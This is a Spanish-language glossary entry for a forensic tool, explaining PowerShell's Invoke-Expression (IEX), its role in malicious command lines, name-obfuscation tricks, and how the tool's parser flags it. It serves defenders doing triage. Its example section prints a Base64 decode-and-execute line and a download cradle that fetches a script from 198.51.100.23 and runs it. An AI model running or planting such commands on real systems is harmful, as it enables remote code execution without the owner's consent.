Glosario
Invoke-Expression (IEX)
Un cmdlet de PowerShell que ejecuta una cadena como código: la mitad de ejecución de la mayoría de los download cradles y cadenas de ofuscación.
Invoke-Expression (alias IEX) es un cmdlet de PowerShell que evalúa una cadena como un comando y devuelve el resultado. Cualquier texto que reciba, ya sea tecleado, decodificado desde Base64, descomprimido de un flujo gzip o descargado de un servidor web, se convierte en código en ejecución en la sesión actual. [scriptblock]::Create($s) seguido del operador de llamada consigue el mismo efecto y es un sustituto habitual cuando los atacantes quieren evitar ese nombre tan conocido.
Por qué importa en una investigación
IEX es la mitad de ejecución de la mayoría de las líneas de comando maliciosas. La ofuscación solo transforma texto; en algún momento ese texto tiene que ejecutarse, y IEX es la forma más corta de hacerlo. Por eso aparece al final de la mayoría de los download cradles y cadenas de decodificación, y por eso los atacantes disfrazan el propio nombre con trucos como IEX, ('IE'+'X') o códigos [char].
Existen usos legítimos, por ejemplo en scripts de compilación que construyen un comando de forma dinámica, pero son poco frecuentes en la administración cotidiana. IEX aplicado a una cadena que se acaba de descargar o decodificar es una señal de triaje sólida, y el argumento que recibió le indica lo que el atacante pretendía ejecutar realmente.
Ejemplo
Dos formas habituales, una que ejecuta una carga útil decodificada y otra que ejecuta una descargada:
$s = [Text.Encoding]::Unicode.GetString([Convert]::FromBase64String($b64)); IEX $s
IEX (New-Object Net.WebClient).DownloadString('http://198.51.100.23/a.ps1')
El parser señala IEX, Invoke-Expression y [scriptblock]::Create como un hallazgo de Invoke-Expression de gravedad media. Cuando en el mismo texto aparece una primitiva de descarga, como en la segunda línea, ambos se combinan en un único hallazgo de download cradle de gravedad alta. IEX dentro de una palabra más larga, como un nombre de archivo, no se detecta.
Términos relacionados
- Download cradle, descarga más
IEX - Comando codificado, un origen frecuente de la cadena que se ejecuta
- AMSI, que analiza la cadena antes de que
IEXla ejecute - Script Block Logging, que registra el código que compila
IEX
Detecte cadenas con IEX en toda su evidencia con el PowerShell Parser y consulte cómo decodificar comandos codificados y la ofuscación para ver cómo se revela el nombre oculto.